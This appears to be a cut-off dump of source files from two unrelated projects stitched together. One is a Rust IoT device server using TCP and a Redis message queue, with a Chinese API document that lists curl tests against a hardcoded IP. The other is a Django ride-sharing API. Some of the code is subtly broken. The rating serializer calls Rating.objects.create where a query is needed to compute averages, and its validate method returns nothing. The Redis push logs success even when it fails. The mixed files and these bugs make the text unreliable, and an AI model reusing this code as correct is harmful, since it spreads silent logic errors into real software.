Some("123".to_string())); /// let err_str = r#"{"type": "ping","what": "error"}"#; /// assert_ne!(carte::is_heartbeat(&err_str.to_string()), Some("123".to_string())); /// ``` fn is_heartbeat(msg: &String) -> Option<String> { let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) { match data { Value::Object(t) => { let msg_type: Option<String> = if t.contains_key("type") { match t.get("type").unwrap() { Value::String(v) => Some(v.to_string()), _ => None, } } else { None }; match msg_type { Some(s) if s == "ping" => { if t.contains_key("sn") { match t.get("sn").unwrap() { Value::String(v) => Some(v.to_string()), _ => None, } } else { None } } _ => None, } } _ => None, } } else { None }; sn } #[test] fn is_heartbeat_test() { let ok_str = r#"{"type": "ping","sn": "123"}"#; assert_eq!(is_heartbeat(&ok_str.to_string()), Some("123".to_string())); let err_str = r#"{"type": "ping","what": "error"}"#; assert_ne!(is_heartbeat(&err_str.to_string()), Some("123".to_string())); } pub fn parse_sn(msg: &String) -> Option<String> { let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) { match data { Value::Object(t) => { if t.contains_key("sn") { match t.get("sn").unwrap() { Value::String(v) => Some(v.to_string()), _ => None, } } else { None } } _ => None, } } else { None }; sn } #[test] fn parse_sn_test() { let ok_ping = r#"{"type": "ping","sn": "123"}"#; assert_eq!(parse_sn(&ok_ping.to_string()), Some("123".to_string())); let ok_rawdata = r#"{"type": "rawdata","sn": "145623"}"#; assert_eq!( parse_sn(&ok_rawdata.to_string()), Some("145623".to_string()) ); let err0_sn = r#"{"type": "rawdata","snfuck": "145623"}"#; assert_eq!(parse_sn(&err0_sn.to_string()), None); let err1_sn = r#"{"what": "error"}"#; assert_eq!(parse_sn(&err1_sn.to_string()), None); let err2_sn = r#"{"what": "err"#; assert_eq!(parse_sn(&err2_sn.to_string()), None); } /// /// When the msg is a valid json and include the `type` field, /// but not the heartbeat type, it is a raw data. pub fn is_rawdata(msg: &String) -> bool { if let Ok(data) = serde_json::from_str(msg) { match data { Value::Object(t) => { if t.contains_key("type") { true } else { false } } _ => false, } } else { false } } pub fn parse_msg_type(msg: &String) -> MESTYPE { if let Some(_) = is_heartbeat(msg) { return MESTYPE::HEARTBEAT; } if is_rawdata(msg) { return MESTYPE::RAWDATA; } MESTYPE::INVAILD } #[test] fn parse_msg_type_test() { let ok_ping = r#"{"type": "ping","sn": "123"}"#; assert_eq!(parse_msg_type(&ok_ping.to_string()), MESTYPE::HEARTBEAT); let ok_rawdata = r#"{"type": "rawdata","sn": "123"}"#; assert_eq!(parse_msg_type(&ok_rawdata.to_string()), MESTYPE::RAWDATA); let err1_rawdata = r#"{"what": "error"}"#; assert_eq!(parse_msg_type(&err1_rawdata.to_string()), MESTYPE::INVAILD); let err2_rawdata = r#"{"what": "err"#; assert_eq!(parse_msg_type(&err2_rawdata.to_string()), MESTYPE::INVAILD); } fn handle_client(stream: TcpStream, dsp: Arc<RwLock<device::DevicePool>>) { let mut mq = if let Ok(mq) = messagequeue::MQ::new("redis://127.0.0.1") { mq } else { panic!("MQ Create Failed") }; let mut pinsn: String = "null".to_string(); for poll in 0..4 { if let Ok(msg) = device::read_line(&stream) { if let Some(sn) = is_heartbeat(&msg) { info!("sn {}", sn); pinsn = sn.clone().trim().to_string(); break; } } else if poll == 3 { error!("invalid device"); return; } thread::sleep(Duration::from_millis(500)); } let device = Arc::new(RwLock::new(device::Device::new(pinsn.clone()))); if let Err(_) = stream.set_nonblocking(true) { error!("set stream to no blocking fail"); return; } { dsp.write() .unwrap() .put_device(pinsn.clone(), device.clone()); } { let device_ref = dsp.write().unwrap().get_device_ref(&pinsn); device_ref.unwrap().write().unwrap().activate(stream); } { let mut device_unlock = device.write().unwrap(); if let Err(_) = device_unlock.echo_pong() { error!("echo pong fail"); device_unlock.deactivate(); return; } if let Err(_) = device_unlock.push_online_msg(&mut mq) { error!("push a device online fail",); device_unlock.deactivate(); return; } } info!("new deivce sn: {}", pinsn); loop { // Can send message to device through MQ if let Ok(msg) = mq.pop_sn(&pinsn) { if let Err(_) = device.write().unwrap().writeline(msg.clone(), true) { error!("send success error"); } else { info!("send a msg: {}", msg) } } // Receive a message from device then push to mq let msg_result = device.write().unwrap().readline(); match msg_result { Ok(msg) => { info!( "recv data form device({}) : {}, is alive: {}", pinsn, msg, device.write().unwrap().is_alive() ); let msg_trim = msg.trim().to_string(); // Heartbeat message, update the ping timestamp. let msg_t = parse_msg_type(&msg_trim); match msg_t { MESTYPE::HEARTBEAT => { info!("heartbeat type"); let mut device_lock = device.write().unwrap(); if let Err(_) = device_lock.echo_pong() { warn!("echo pong the device fail"); } else { device_lock.update_heartbeat_timestamp_auto(); } } MESTYPE::RAWDATA => { info!("rawdata type"); info!("push message to mq: {}", msg); device.write().unwrap().update_heartbeat_timestamp_auto(); if let Err(_) = mq.push(&msg_trim) { error!("push MQ fail: {}", msg); } } MESTYPE::INVAILD => { warn!( "invalid message from device({})", device.read().unwrap().get_sn() ); } } } _ => {} } { // Timeout if device.read().unwrap().is_alive() { if device.read().unwrap().is_heartbeat_timeout() { warn!("device({}) offline", device.read().unwrap().get_sn()); device.write().unwrap().deactivate(); return; } } else { warn!( "device({}) already offline", device.read().unwrap().get_sn() ); device.write().unwrap().deactivate(); return; } } thread::sleep(Duration::from_millis(1500)); } } pub fn start(devicepool: Arc<RwLock<device::DevicePool>>) { let mut thread_vec = vec![]; //let mut redis_mq = Arc::new(RwLock::new(messagequeue::MQ::new("redis://127.0.0.1").unwrap())); info!("Start listen the port"); let listener = if let Ok(t) = TcpListener::bind("0.0.0.0:8900") { t } else { error!("Open port failed"); panic!("Open port failed") }; // listener.set_nonblocking(true).expect("Cannot set non-blocking"); listener.take_error().expect("Error occur"); info!("{:?}", listener); for stream in listener.incoming() { match stream { // Spawn a thread to handle the connection Ok(s) => { let devicepool_clone = devicepool.clone(); let t = thread::spawn(move || { handle_client(s, devicepool_clone); }); thread_vec.push(t); } Err(ref e) => { error!("Unknow connection was failed: {}", e); } } } for t in thread_vec { error!("Never reach to here"); t.join().unwrap(); } } ``` ้•ฟ่ฟžๆŽฅๆœๅŠกไธŽ็”จๆˆทๆœๅŠกๆŽฅๅฃ.md ```# ่ฎพๅค‡่ฟžๆŽฅๆœๅŠกไธŽ็”จๆˆทๆœๅŠกๆŽฅๅฃ | Version | Date | Editor | Note | | :-----| ----: | :----: |:----: | | v0.0.5 | 2020-05-28 | zhangte | ๅฎšไน‰่ฟžๆŽฅๆœๅŠกๅ่ฎฎๅˆ็‰ˆ| ### 1. ็”จๆˆทๆœๅŠก่ฏทๆฑ‚ๆถˆๆฏ #### httpๆŽฅๅฃ ##### ๆŸฅ่ฏขๅฝ“ๅ‰่ฎพๅค‡ๆ•ฐ้‡ **ๆŽฅๅฃ:** GET http://39.105.63.97:8080/query/devices_num **่ฟ”ๅ›ž:** ```json { "namespace": "/query/devices_num", "value": "$(ๆ•ฐ้‡->int)" } ``` ```sh ๆต‹่ฏ•: curl http://39.105.63.97:8080/query/devices_num ``` ##### ๆŸฅ่ฏขๅฝ“ๅ‰ๅœจ็บฟ่ฎพๅค‡ๆ•ฐ้‡ **ๆŽฅๅฃ:** GET http://39.105.63.97:8080/query/devices_alive_num **่ฟ”ๅ›ž:** ```json { "namespace": "/query/devices_alive_num", "value": "$(ๆ•ฐ้‡->int)" } ``` ```sh ๆต‹่ฏ•: curl http://39.105.63.97:8080/query/devices_alive_num ``` ##### ๆŸฅ่ฏขๆŒ‡ๅฎš่ฎพๅค‡ๆ˜ฏๅฆๅœจ็บฟ **ๆŽฅๅฃ:** GET http://39.105.63.97:8080/query/device_is_alive/${sn} **่ฟ”ๅ›ž:** ```json { "namespace": "/query/device_is_alive", "value": "$(ๅœจ็บฟๅฆ->online/offline)" } ``` ```sh ๆต‹่ฏ•: curl http://39.105.63.97:8080/query/device_is_alive/${sn} ``` ##### ๅ‘ๆŒ‡ๅฎš่ฎพๅค‡ๅ‘้€jsonๆ•ฐๆฎ(ๆ•ฐๆฎๆบๅธฆๅœจbodyไธญ๏ผŒไผš่ขซ้€ไผ ๅˆฐ่ฎพๅค‡๏ผŒๆ•ฐๆฎๅฟ…้กปๆ˜ฏJSONๆ ผๅผ๏ผŒไธ”ๆบๅธฆ`"sn"`ๅญ—ๆฎต) **ๆŽฅๅฃ:** POST http://39.105.63.97:8080/push/push_msg **่ฟ”ๅ›ž:** ๆญฃ็กฎ๏ผš ```json { "namespace": "/query/push_msg", "value": "$(่ฎพๅค‡่ฟ”ๅ›ž็š„ๆ•ฐๆฎ๏ผŒๅญ—็ฌฆไธฒๅฝขๅผ็š„json)" } ``` ้”™่ฏฏ๏ผˆ้”™่ฏฏ่ฟ”ๅ›ž็š„HTTP็Šถๆ€็ ไธบ้”™่ฏฏ็ 400๏ผŒ้ž200๏ผ‰๏ผš ```json bodyๆ•ฐๆฎๅคชๅคง(่ถ…ๅ‡บ256kBytes) { "namespace": "/query/push_msg", "error": "overflow" } ``` ```json ๅ‘้€ๅคฑ่ดฅ { "namespace": "/query/push_msg", "error": "send message fail" } ``` ```json bodyๆ•ฐๆฎๆฒกๆœ‰snๅญ—ๆฎต { "namespace": "/query/push_msg", "error": "have no sn field" } ``` ```json ่ฎพๅค‡็ฆป็บฟ { "namespace": "/query/push_msg", "error": "device offline" } ``` ```json ่ฎพๅค‡ๆ— ๅ“ๅบ” { "namespace": "/query/push_msg", "error": "no response" } ``` ```json ้žๆณ•ๆ•ฐๆฎ(utf-8ไธ่ƒฝ่งฃๆž) { "namespace": "/query/push_msg", "error": "invalid data" } ``` ```sh ๆต‹่ฏ•: curl -i -X POST -H "Content-Type: application/json" -d "{\"v\":\"0\",\"data\":\"fuck\", \"sn\":\"${sn}\"}" http://39.105.63.97:8080/push/push_msg ``` ### 2. ้•ฟ่ฟžๆŽฅๆœๅŠกๆŽจ้€ๆถˆๆฏ 1. ้€š่ฟ‡Redisๆถˆๆฏ้˜Ÿๅˆ— **IP**:39.105.63.97 **็ซฏๅฃ**:6379(้ป˜่ฎค็ซฏๅฃ) #### ่ฏปๅ–่ฎพๅค‡ๆŽจ้€ไฟกๆฏ๏ผš ##### blocking: ```sh brpop csod/mq/p5 ``` ##### non-blocking: ```sh rpop csdo/mq/p5 ``` ๅ…ถไธญKEY=csdo/mq/p5่กจ็คบๆŽจ้€ๆถˆๆฏ็š„ไผ˜ๅ…ˆ็บง๏ผŒ็›ฎๅ‰ๅชไฝฟ็”จ่ฟ™ไธ€ไธชไผ˜ๅ…ˆ็บง๏ผŒๅŽ็ปญๅฆ‚ๆœ‰้ซ˜ไผ˜ๆŽจ้€้œ€ๆฑ‚๏ผŒไผšๅขžๅŠ ๅ…ถๅฎƒไผ˜ๅ…ˆ็บงKEY ``` mod.rs ```//! //! # ๆ„Ÿ็Ÿฅๅฑ‚ๆœๅŠก //! ๆ„Ÿ็Ÿฅๅฑ‚ๆœๅŠกๅฏนๆŽฅ็ณป็ปŸๆ„Ÿ็Ÿฅๅฑ‚่ฎพๅค‡๏ผŒไธบๆ„Ÿ็Ÿฅๅฑ‚่ฎพๅค‡ๆไพ›็จณๅฎšๅฏ้ TCP่ฟžๆŽฅใ€redisๆ•ฐๆฎ่ฝฌๅ‘ //! pub mod connection; pub mod device; pub mod map2redis;``` messagequeue.rs ```//! A Redis based Message Queue //! //! ``` //! let mut mq = if let Ok(mq) = messagequeue::MQ::new("redis://127.0.0.1") { //! mq //! } else { //! panic!("MQ Create Failed") //! }; //! for i in 1..2001 { //! msg.push_str(format!("{}", i).as_str()); //! mq.push(&msg); //! } //! for i in 1..2000 { //! info!("------------ {}", i); //! if let Ok(msg) = mq.bpop(5) { //! info!("MQ {:?}", msg); //! } else { //! warn!("MQ {}", "null data"); //! } //! ``` #![allow(dead_code)] use log::{error, info, warn}; use redis::Commands; pub struct MQ { conn: redis::Connection, priority: String, } /// Creat connection to redis /// ``` /// let mut mq = if let Ok(mq) = messagequeue::MQ::new("redis://127.0.0.1") { /// mq /// } else { /// panic!("MQ Create Failed") /// }; /// ``` fn redis_connection(addr: &'static str) -> Result<redis::Connection, ()> { //let addr = "redis://127.0.0.1"; match redis::Client::open(addr) { Ok(client) => match client.get_connection() { Ok(con) => { info!("redis connect succeed"); Ok(con) } Err(_) => { error!("redis connect fail, to check the redis-server whether be launch"); Err(()) } }, Err(_) => { error!("redis connect fail, to check the redis-server whether be launch"); Err(()) } } } impl MQ { pub fn new(addr: &'static str) -> Result<MQ, ()> { match self::redis_connection(addr) { Ok(conn) => Ok(MQ { conn: conn, priority: String::from("p5"), }), _ => Err(()), } } /// Set the priority of the redis mq. default was "p5" pub fn set_priority(&mut self, p: String) { self.priority = p; } /// Push a message to the queue. pub fn push(&mut self, msg: &String) -> Result<(), ()> { match self .conn .lpush::<&String, &String, usize>(&self.priority, msg) { Ok(_) => { info!("push a msg({}) succeed", msg); Ok(()) } _ => { info!("push a msg({}) succeed", msg); Err(()) } } } /// Pop a message from the queue with blocking pub fn bpop(&mut self, timeout: usize) -> Result<String, ()> { match self .conn .brpop::<&String, Vec<String>>(&self.priority, timeout) { Ok(o) => { if o.len() > 0 { info!("pop a message: {:?}, vec message len: {}", o, o.len()); Ok(o[1].clone()) } else { warn!("pop a message timeout: {:?}", o); Err(()) } } Err(e) => { warn!("pop message fial: {}", e); Err(()) } } } /// Pop a message from the queue with no blocking. pub fn pop(&mut self) -> Result<String, ()> { match self.conn.rpop::<&String, String>(&self.priority) { Ok(o) => { if o.len() > 0 { info!("pop a message: {:?}", o); Ok(o.clone()) } else { info!("pop a message null: {:?}", o); Err(()) } } Err(e) => { info!("pop message null: {}", e); Err(()) } } } /// Pop a message from the queue with no blocking. pub fn pop_sn(&mut self, sn: &String) -> Result<String, ()> { match self.conn.rpop::<&String, String>(sn) { Ok(o) => { if o.len() > 0 { info!("pop a message: {:?}", o); Ok(o.clone()) } else { Err(()) } } Err(_) => Err(()), } } } ``` mod.rs ```//! //! # ไธญ้—ดไปถๅŒ…่ฃ…ๆจกๅ— //! 1. ๅฏน็ฌฌไธ‰ๆ–นไธญ้—ดไปถ่ฟ›่กŒๅฐ่ฃ…api๏ผŒ้€‚ๅˆๆœฌ้กน็›ฎ่ฐƒ็”จ๏ผŒๅฆ‚redis //! pub mod query_redis; pub mod redis_wrapper; pub mod json_warpper;``` mod.rs ```//! //! # ๆไพ›่‡ชๅฎšไน‰็š„ๅ…ฌๅ…ฑๅŠŸ่ƒฝ //! pub mod config; ``` mod.rs ```//! //! # ไธญ้—ดไปถๅŒ…่ฃ…ๆจกๅ— //! 1. ๅฏน็ฌฌไธ‰ๆ–นไธญ้—ดไปถ่ฟ›่กŒๅฐ่ฃ…api๏ผŒ้€‚ๅˆๆœฌ้กน็›ฎ่ฐƒ็”จ๏ผŒๅฆ‚redis //! pub mod redis_wrapper; pub mod json_wrapper; pub mod redis_test; ``` redis_test.rs ```extern crate test; #[allow(unused_imports)] use test::Bencher; #[allow(unused_imports)] use futures::{ executor::block_on, }; #[allow(unused_imports)] use redis::{ aio::Connection, AsyncCommands, Client, RedisResult, }; /// redisๅŸบๆœฌๆต‹่ฏ• #[cfg(test)] mod test_redis_conn { use std::borrow::Borrow; use futures::executor::block_on; use crate::config; use crate::middleware_wrapper::redis_wrapper::{NAMESPACE_DEVICES_BORN, RedisConn}; use super::Bencher; /// ๆต‹่ฏ•hash #[test] fn test_hash() { let config: config::Config = config::load_config("cfg.toml", true); let redis_conn = block_on(RedisConn::new(&config.redis.ip.unwrap(), &config.redis.port.unwrap())); let mut conn = if let Ok(instance) = redis_conn { instance } else { assert!(false); panic!("redis connection false"); }; // ่ฎพ็ฝฎไธ€ไธชๅ€ผ let sn = "sn_test_1234"; let _ = block_on(conn.del_key("sn_test_1234")); let _ = block_on(conn.hset(sn, "online", "true")); let mut status = block_on(conn.hget(sn, "online")); assert_eq!("true".to_string(), status.unwrap()); // ๅˆ ้™ค let _ = block_on(conn.hdel(sn, "status")); status = block_on(conn.hget(sn, "status")); assert_eq!(Err(()), status); let _ = block_on(conn.hset_online_with_time(sn, "true")); status = block_on(conn.hget(sn, "online")); assert_eq!("true".to_string(), status.unwrap()); } /// ๆต‹่ฏ•ๆœ‰ๅบ้›†ๅˆrecent keyๆ’ๅ…ฅใ€่ฎกๆ•ฐ #[test] fn test_sorted_set() { let config: config::Config = config::load_config("cfg.toml", true); let redis_conn = block_on(RedisConn::new(&config.redis.ip.unwrap(), &config.redis.port.unwrap())); let mut conn = if let Ok(instance) = redis_conn { instance } else { assert!(false); panic!("redis connection false"); }; block_on(conn.del_key(NAMESPACE_DEVICES_BORN)); for i in 0..100 { if block_on(conn.zadd_device_born_with_timestamp(&format!("sn_test_{}", i))).is_err() { assert!(false); } } assert_eq!(Ok(100), block_on(conn.zcard_devices_born())); } /// ๆต‹่ฏ•redis่ฟžๆŽฅ->setๅ€ผ->getๅ€ผ #[test] fn test_set_get() { let config: config::Config = config::load_config("cfg.toml", true); let redis_conn = block_on(RedisConn::new(&config.redis.ip.unwrap(), &config.redis.port.unwrap())); let mut conn = if let Ok(instance) = redis_conn { instance } else { assert!(false); panic!("redis connection false"); }; if block_on(conn.set("test__", "test_fuck__")).is_err() { assert!(false); }; match block_on(conn.get("test__")) { Ok(v) => { assert_eq!(v, String::from("test_fuck__")); } Err(_) => { assert!(false); } } } /// ๆต‹่ฏ•redis้˜Ÿๅˆ—push->pop #[test] fn test_push_pop() { let config: config::Config = config::load_config("cfg.toml", true); let redis_conn = block_on(RedisConn::new(&config.redis.ip.unwrap(), &config.redis.port.unwrap())); let mut conn = if let Ok(instance) = redis_conn { instance } else { assert!(false); panic!("redis connection false"); }; block_on(conn.del_key("test-p5")); for i in 0..=100 { if block_on(conn.push_to_list("test-p5", &format!("fuck-{}", i))).is_err() { assert!(false); } } for i in 0..=100 { if let Ok(v) = block_on(conn.pop_from_list("test-p5")) { assert_eq!(format!("fuck-{:?}", i), v.unwrap()); } else { assert!(false); } } assert!(true); } #[bench] fn bench_redis_conn_new(b: &mut Bencher) { let config: config::Config = config::load_config("cfg.toml", true); b.iter(|| { let redis_conn = block_on(RedisConn::new(&config.redis.ip.borrow().as_ref().unwrap(), &config.redis.port.borrow().as_ref().unwrap())); if redis_conn.is_err() { assert!(false); }; }); } } #[allow(dead_code)] async fn redis_set_key(con: &mut Connection) -> redis::RedisResult<()> { con.set(format!("fukkkkkkkkk : {}", 12), b"fucko").await?; Ok(()) } #[allow(dead_code)] async fn redis_conn() -> redis::RedisResult<()> { let client: Client = redis::Client::open("redis://127.0.0.1/").unwrap(); let mut _con: Connection = client.get_async_connection().await?; Ok(()) } #[bench] fn bench_redis_conn(b: &mut Bencher) { b.iter(|| block_on(redis_conn())); } #[bench] fn bench_redis_set_key(b: &mut Bencher) { let client: Client = redis::Client::open("redis://127.0.0.1/").unwrap(); let mut con: Connection = block_on(client.get_async_connection()).unwrap(); b.iter(|| block_on(redis_set_key(&mut con))); } /* ``` redis-rs async example: pub async fn test() -> redis::RedisResult<()> { let client: Client = redis::Client::open("redis://127.0.0.1/").unwrap(); let mut con: Connection = client.get_async_connection().await?; for i in 3..100 { con.set(format!("fukkkkkkkkk : {}", i), b"fucko").await?; } let keys_query: RedisResult<Vec<String>> = redis::cmd("keys") .arg("*") .query_async(&mut con) .await; if let Ok(keys) = keys_query { println!("keys query {:?}", keys.len()); } redis::cmd("SET") .arg(&["key2", "bar"]) .query_async(&mut con) .await?; let result: RedisResult<(String, Vec<u8>)> = redis::cmd("MGET") .arg(&["key1", "key2"]) .query_async(&mut con) .await; println!("{:?}", result); Ok(()) } ``` */``` redis_wrapper.rs ```#[allow(unused_imports)] use log::{ error, info, }; use redis::{ aio::Connection, AsyncCommands, Client, cmd as redis_cmd, RedisResult, }; pub struct RedisConn { conn: Option<Connection>, } #[allow(dead_code)] impl RedisConn { /// ๅปบ็ซ‹ไธ€ไธชredis async่ฟžๆŽฅ pub async fn new(ip: &str, port: &str) -> RedisResult<RedisConn> { let _redis_addr = format!("redis://{}:{}/", ip, port); let client_result = Client::open(_redis_addr); match client_result { Ok(cli) => { match cli.get_async_connection().await { Ok(conn) => Ok(RedisConn { conn: Some(conn) }), Err(e) => { error!("get async redis connection fail: {:?}", e); Err(e) } } } Err(e) => { error!("connect redis fail: {:?}", e); Err(e) } } } pub async fn set(&mut self, k: &str, v: &str) -> Result<(), ()> { match &mut self.conn { Some(cli) => { match cli.set::<&str, &str, String>(k, v).await { Ok(_) => Ok(()), Err(_) => { error!("Set key to redis failed."); Err(()) } } } _ => { error!("Redis conn in RedisConn struct is None"); Err(()) } } } pub async fn get(&mut self, key: &str) -> Result<String, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; match cli.get::<&str, String>(key).await { Ok(v) => Ok(v), Err(_) => Err(()) } } pub async fn zcard(&mut self, key: &str) -> Result<Option<u64>, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<Option<u64>> = redis_cmd("zcard") .arg(key) .query_async(cli) .await; if let Ok(num) = query { Ok(num) } else { error!("{:?}", query); Err(()) } } /// ่ฟ”ๅ›žๆŒ‡ๅฎšๆˆๅ‘˜ๅœจๆœ‰ๅบ้›†ๅˆไธญ็š„็ดขๅผ• pub async fn zrank(&mut self, key: &str, member: &str) -> Result<Option<usize>, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<Option<usize>> = redis_cmd("zrank") .arg(key).arg(member) .query_async(cli) .await; if let Ok(idx) = query { Ok(idx) } else { Err(()) } } /// ่ฎพ็ฝฎๆŒ‡ๅฎškey็š„hash่กจ๏ผŒๅนถ่ฎพ็ฝฎๆŒ‡ๅฎšๅญ—ๆฎตๅ’ŒๆŒ‡ๅฎšๅ€ผ pub async fn hset(&mut self, key: &str, field: &str, value: &str) -> Result<Option<usize>, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<Option<usize>> = redis_cmd("hset") .arg(key).arg(field).arg(value) .query_async(cli) .await; info!(" hset test key {}, field {}, value {}, {:?}", key, field, value, query); if let Ok(num) = query { Ok(num) } else { error!("set hash fail: {}, {}, {}, query: {:?}", key, field, value, query); Err(()) } } /// ๅˆ ้™คhash่กจๆŒ‡ๅฎškey็š„ๆŒ‡ๅฎšๅญ—ๆฎต pub async fn hdel(&mut self, key: &str, field: &str) -> Result<u64, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<u64> = redis_cmd("hdel") .arg(key).arg(field) .query_async(cli) .await; if let Ok(num) = query { Ok(num) } else { Err(()) } } /// ่Žทๅ–hash่กจๆŒ‡ๅฎškey็š„ๆŒ‡ๅฎšๅญ—ๆฎต pub async fn hget(&mut self, key: &str, field: &str) -> Result<String, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<String> = redis_cmd("hget") .arg(key).arg(field) .query_async(cli) .await; if let Ok(string) = query { Ok(string) } else { Err(()) } } }``` loge_cfg.rs ```//!# Device and Device Pool //! Log config //! ``` //! // Init the logger level is warning //! loge_cfg::log_init(Some("warn"))?; //! // Default the logger level is trace //! loge_cfg::log_init(None)?; //! ``` use std::env; /// Init to the logger pub fn log_init(level: Option<&str>) -> Result<(), String> { if let Some(le) = level { env::set_var("RUST_LOG", le); } else { env::set_var("RUST_LOG", "trace"); } env::set_var("LOGE_FORMAT", "fileline"); //loge::init(); loge::init_with_file("temp.log"); Ok(()) } ``` version.rs ```Version { minor: 48, nightly: true } ```
yulio94/cride
yulio94/cride ratings.py ```"""Rating class serializers""" # Django from django.db.models import Avg # Django REST Framework from rest_framework import serializers # Models from cride.rides.models import Rating class CreateRideRatingSerializer(serializers.ModelSerializer): """ Create ride rating serializer.""" rating = serializers.IntegerField(min_value=1, max_value=5) comments = serializers.CharField(required=False) class Meta: """Meta class.""" model = Rating fields = ('rating', 'comments') def validate(self, attrs): """Verify that rating hasn't been before.""" user = self.context['request'].user ride = self.context['ride'] if not ride.passengers.filter(pk=user.pk).exists(): raise serializers.ValidationError('Current user isn\'t a passenger') query = Rating.objects.filter(rating_by=user, ride=ride, circle=self.context['circle']) if query.exists(): raise serializers.ValidationError('Rating already issued.') def create(self, validated_data): """Create rating.""" offered_by = self.context['ride'].offered_by Rating.objects.create( circle=self.context['circle'], ride=self.context['ride'], rating_user=self.context['request'].user, rated_user=offered_by, **validated_data ) ride_average = round( Rating.objects.create(circle=self.context['circle'], ride=self.context['ride'] ).aggregate(Avg('rating'))['rating__avg'], 1) self.context['ride'].rating = ride_average self.context['ride'].save() user_avg = round( Rating.objects.filter( rated_user=offered_by ).aggregate(Avg('rating'))['rating__avg'], 1 ) offered_by.profile.reputation = user_avg offered_by.profile.save() return self.context['ride'] ``` README.md ```# Comparte ride API An application to share rides securely. ## Environment setup ### Needed tools 1. [Install docker](https://docs.docker.com/get-docker/). 2. [Install docker-compose](https://docs.docker.com/compose/install/). 3. Build images with docker compose. ``` docker-compose -f docker-compose.local.yml build ``` 4. Run images with docker compose. ``` docker-compose -f docker-compose.local.yml up ``` ``` __init__.py ```from cride.rides.views.rides import * ``` usecases.py ```"""Base use case""" class BaseUseCase: """ Base implementation to use cases """ def execute(self): """ Execute both validation and use case :return: """ self.validation() self.use_case() def validation(self): """ Run validation in models :return: """ def use_case(self): """ Run use case :return: """ ``` __init__.py ```from cride.circles.models.circles import * from cride.circles.models.meberships import * from cride.circles.models.invitations import * ``` __init__.py ```from cride.users.models.users import User from cride.users.models.profiles import Profile ``` test_invitations.py ```"""Invitation tests.""" # Django from django.test import TestCase # Django REST Framework from rest_framework.test import APITestCase # Models from cride.circles.models import Invitation, Circle, Membership from cride.users.models import User from rest_framework.authtoken.models import Token class InvitationManagerTestCase(TestCase): """Invitations manager test case.""" def setUp(self) -> None: """Test case setup.""" self.user = User.objects.create( first_name='Julio', last_name='Estrada', email='jestrada@mail.com', username='jestrada', password='admin123' ) self.circle = Circle.objects.create( name='Facultad de Ciencias', slug_name='fciencias', about='Grupo oficial de la facultad de ciencias de la UNAM', verified=True ) def test_code_generation(self): """Random codes should be generated automatically.""" invitation = Invitation.objects.create( issued_by=self.user, circle=self.circle ) self.assertIsNotNone(invitation.code) def test_code_usage(self): """If a code is given, there's no need to create a new one.""" code = 'holamundo' invitation = Invitation.objects.create( issued_by=self.user, circle=self.circle, code=code ) self.assertEqual(invitation.code, code) def test_code_generation_if_duplicated(self): """If given code is not unique, a new one must be generated.""" code = Invitation.objects.create( issued_by=self.user, circle=self.circle ).code # Create another invitation with the last code invitation = Invitation.objects.create( issued_by=self.user, circle=self.circle ).code self.assertNotEqual(code, invitation) class MemberInvitationsAPITestCase(APITestCase): """""" def setUp(self) -> None: """Test case setup""" self.user = User.objects.create( first_name='Julio', last_name='Estrada', email='jestrada@mail.com', username='jestrada', password='admin123' ) self.circle = Circle.objects.create( name='Facultad de Ciencias', slug_name='fciencias', about='Grupo oficial de la facultad de ciencias de la UNAM', verified=True ) self.membership = Membership.objects.create( user=self.user, profile=self.user.profile, circle=self.circle, remaining_invitations=10 ) self.token = Token.objects.create(user=self.user).key def test_response_success(self): """Verify request succeed.""" # url = reverse() ``` __init__.py ```from cride.users.views.users import (UserViewSet) ``` __init__.py ```from cride.rides.serializers.rides import *``` create_circle.py ```"""Business logic and uses cases of circles""" # Utils from cride.utils.usecases import BaseUseCase # Models from cride.circles.models.meberships import Membership class CreateCircleUseCase(BaseUseCase): """ Create both circle and membership. Assign the user that create the circle as an admin of the membership. """ def __init__(self, serializer, request): """ :param serializer: """ self.serializer = serializer self.request = request def use_case(self): """""" circle = self.serializer.save() user = self.request.user profile = user.profile Membership.objects.create( user=user, profile=profile, circle=circle, is_admin=True, remaining_invitations=10 ) ``` __init__.py ```from cride.users.serializers.users import (UserSignupSerializer, UserModelSerializer, AccountVerificationSerializer, UserLoginSerializer) from cride.users.serializers.profiles import ProfileModelSerializer ``` __init__.py ```from cride.taskapp.tasks.async_tasks import * from cride.taskapp.tasks.periodic_tasks import * ``` memberships.py ```"""Circle membership permissions classes""" # Django REST Framework from rest_framework.permissions import BasePermission # Models from cride.circles.models import Membership class IsActiveCircleMember(BasePermission): """ Allow access only to circle members. Expected that views implementing this permission has a `circle` attribute assigned. """ def has_permission(self, request, view): """ Verify user is an active member of the circle. """ circle = view.circle try: Membership.objects.get( user=request.user, circle=circle, is_active=True ) except Membership.DoesNotExist: return False return True ``` invitations.py ```"""Circle invitations model.""" # Django from django.db import models # Utilities from cride.utils.models import CRideModel # Managers from cride.circles.managers import InvitationManager class Invitation(CRideModel): """ Circle invitation. A circle invitation is a random text that acts as a unique code that grants access to a specific circle. This codes are generated by users that are already members of a circle and has `remaining_invitations` value greater than 0. """ code = models.CharField(max_length=50, unique=True) issued_by = models.ForeignKey('users.User', on_delete=models.CASCADE, help_text='Circle member that is providing the invitation', related_name='issued_by' ) used_by = models.ForeignKey('users.User', on_delete=models.CASCADE, null=True, help_text='User that used the code to enter the circle') circle = models.ForeignKey('circles.Circle', on_delete=models.CASCADE) used = models.BooleanField(default=False) used_at = models.DateTimeField(blank=True, null=True) # Manager objects = InvitationManager() def __str__(self): """Return code and circle.""" return f'#{self.circle.slug_name}: {self.code}' ``` __init__.py ```from .apps import RidesConfig ``` __init__.py ```from .apps import CirclesAppConfig ``` invitations.py ```"""Invitation model permissions""" # Django REST Framework from rest_framework.permissions import BasePermission class IsSelfMember(BasePermission): """ Check if the user that required an invitation list is the owner of the list. """ def has_permission(self, 